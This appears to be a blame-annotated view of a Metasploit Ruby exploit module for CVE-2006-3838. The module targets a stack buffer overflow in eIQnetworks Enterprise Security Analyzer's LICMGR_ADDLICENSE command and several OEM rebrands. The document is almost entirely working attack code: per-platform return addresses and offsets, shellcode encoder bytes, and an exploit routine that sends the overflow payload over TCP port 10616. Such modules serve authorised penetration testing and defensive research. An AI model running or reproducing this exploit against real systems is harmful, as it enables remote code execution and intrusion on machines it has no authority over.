2007-02-18 00:10:39 +00:00
|
|
|
##
|
2007-03-01 08:21:36 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2006-09-12 05:46:42 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = AverageRanking
|
2006-09-12 05:46:42 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
2006-09-12 05:46:42 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'eIQNetworks ESA License Manager LICMGR_ADDLICENSE Overflow',
|
|
|
|
'Description' => %q{
|
2010-05-09 17:45:00 +00:00
|
|
|
This module exploits a stack buffer overflow in eIQnetworks
|
2006-09-12 05:46:42 +00:00
|
|
|
Enterprise Security Analyzer. During the processing of
|
|
|
|
long arguments to the LICMGR_ADDLICENSE command, a stack-based
|
|
|
|
buffer overflow occurs. This module has only been tested
|
|
|
|
against ESA v2.1.13.
|
|
|
|
},
|
2009-09-27 21:30:45 +00:00
|
|
|
'Author' => [ 'MC', 'ri0t <ri0t[at]ri0tnet.net>', 'kf' ],
|
2007-02-18 00:10:39 +00:00
|
|
|
'Version' => '$Revision$',
|
2010-04-30 08:40:19 +00:00
|
|
|
'References' =>
|
2006-09-12 05:46:42 +00:00
|
|
|
[
|
|
|
|
['CVE', '2006-3838'],
|
2009-10-12 14:39:51 +00:00
|
|
|
['OSVDB', '27526'],
|
2006-09-12 05:46:42 +00:00
|
|
|
['BID', '19163'],
|
|
|
|
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-06-024.html'],
|
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'seh',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 400,
|
|
|
|
'BadChars' => "\x00",
|
2010-09-20 08:06:27 +00:00
|
|
|
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
|
2006-09-12 05:46:42 +00:00
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
2010-04-30 08:40:19 +00:00
|
|
|
['EnterpriseSecurityAnalyzerv21 Universal', { 'Ret' => 0x00448187, 'Offset' => 494 } ],
|
|
|
|
|
2006-09-12 05:46:42 +00:00
|
|
|
['EiQ Enterprise Security Analyzer Offset 494 Windows 2000 SP0-SP4 English', { 'Ret' => 0x750316e2, 'Offset' => 494 } ], # call ebx
|
|
|
|
['EiQ Enterprise Security Analyzer Offset 494 Windows XP English SP1/SP2', { 'Ret' => 0x77db64dc, 'Offset' => 494 } ], # jmp ebx
|
|
|
|
['EiQ Enterprise Security Analyzer Offset 494 Windows Server 2003 SP0/SP1', { 'Ret' => 0x77d16764, 'Offset' => 494 } ], # jmp EBX
|
|
|
|
['Astaro Report Manager (OEM) Offset 1262 Windows 2000 SP0-SP4 English', { 'Ret' => 0x750316e2, 'Offset' => 1262 } ],
|
|
|
|
['Astaro Report Manager (OEM) Offset 1262 Windows XP English SP1/SP2', { 'Ret' => 0x77db64dc, 'Offset' => 1262 } ],
|
|
|
|
['Astaro Report Manager (OEM) Offset 1262 Windows Server 2003 English SP0/SP1', { 'Ret' => 0x77d16764, 'Offset' => 1262 } ],
|
|
|
|
['Fortinet FortiReporter (OEM) Offset 1262 Windows 2000 SP0-SP4 English', { 'Ret' => 0x750316e2, 'Offset' => 1262 } ],
|
|
|
|
['Fortinet FortiReporter (OEM) Offset 1262 Windows XP English SP1/SP2', { 'Ret' => 0x77db64dc, 'Offset' => 1262 } ],
|
|
|
|
['Fortinet FortiReporter (OEM) Offset 1262 Windows Server 2003 English SP0/SP1',{ 'Ret' => 0x77d16764, 'Offset' => 1262 } ],
|
|
|
|
['iPolicy Security Reporter (OEM) Offset 1262 Windows 2000 SP0-SP4 English', { 'Ret' => 0x750316e2, 'Offset' => 1262 } ],
|
|
|
|
['iPolicy Security Reporter (OEM) Offset 1262 Windows XP English SP1/SP2', { 'Ret' => 0x77db64dc, 'Offset' => 1262 } ],
|
|
|
|
['iPolicy Security Reporter (OEM) Offset 1262 Windows Server 2003 English SP0/SP1', { 'Ret' => 0x77d16764, 'Offset' => 1262 } ],
|
|
|
|
['SanMina Viking Multi-Log Manager (OEM) Offset 1262 Windows 2000 SP0-SP4 English', { 'Ret' => 0x750316e2, 'Offset' => 1262 } ],
|
|
|
|
['SanMina Viking Multi-Log Manager (OEM) Offset 1262 Windows XP English SP1/SP2', { 'Ret' => 0x77db64dc, 'Offset' => 1262 } ],
|
|
|
|
['SanMina Viking Multi-Log Manager (OEM) Offset 1262 Windows Server 2003 English SP0/SP1', { 'Ret' => 0x77d16764, 'Offset' => 1262 } ],
|
|
|
|
['Secure Computing G2 Security Reporter (OEM) Offset 1262 Windows 2000 SP0-SP4 English', { 'Ret' => 0x750316e2, 'Offset' => 1262 } ],
|
|
|
|
['Secure Computing G2 Security Reporter (OEM) Offset 1262 Windows XP English SP1/SP2', { 'Ret' => 0x77db64dc, 'Offset' => 1262 } ],
|
|
|
|
['Secure Computing G2 Security Reporter (OEM) Offset 1262 Windows Server 2003 English SP0/SP1', { 'Ret' => 0x77d16764, 'Offset' => 1262 } ],
|
|
|
|
['Top Layer Network Security Analyzer (OEM) Offset 1262 Windows 2000 SP0-SP4 English', { 'Ret' => 0x750316e2, 'Offset' => 1262 } ],
|
|
|
|
['Top Layer Network Security Analyzer (OEM) Offset 1262 Windows XP English SP1/SP2', { 'Ret' => 0x77db64dc, 'Offset' => 1262 } ],
|
2010-04-30 08:40:19 +00:00
|
|
|
['Top Layer Network Security Analyzer (OEM) Offset 1262 Windows Server 2003 English SP0/SP1', { 'Ret' => 0x77d16764, 'Offset' => 1262 } ],
|
2006-09-12 05:46:42 +00:00
|
|
|
],
|
|
|
|
'Privileged' => false,
|
2010-06-15 07:18:08 +00:00
|
|
|
'DisclosureDate' => 'Jul 24 2006'
|
2006-09-12 05:46:42 +00:00
|
|
|
))
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
register_options(
|
2006-09-12 05:46:42 +00:00
|
|
|
[
|
|
|
|
Opt::RPORT(10616)
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect
|
|
|
|
|
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
|
2007-03-01 08:21:36 +00:00
|
|
|
filler = rand_text_english(1) * (target['Offset'] - payload.encoded.length)
|
2006-09-12 05:46:42 +00:00
|
|
|
sploit = "LICMGR_ADDLICENSE&" + filler + payload.encoded + [target.ret].pack('V') + "&";
|
|
|
|
|
|
|
|
sock.put(sploit)
|
|
|
|
|
|
|
|
handler
|
2010-04-30 08:40:19 +00:00
|
|
|
disconnect
|
2006-09-12 05:46:42 +00:00
|
|
|
end
|
|
|
|
|
2009-09-27 21:30:45 +00:00
|
|
|
end
|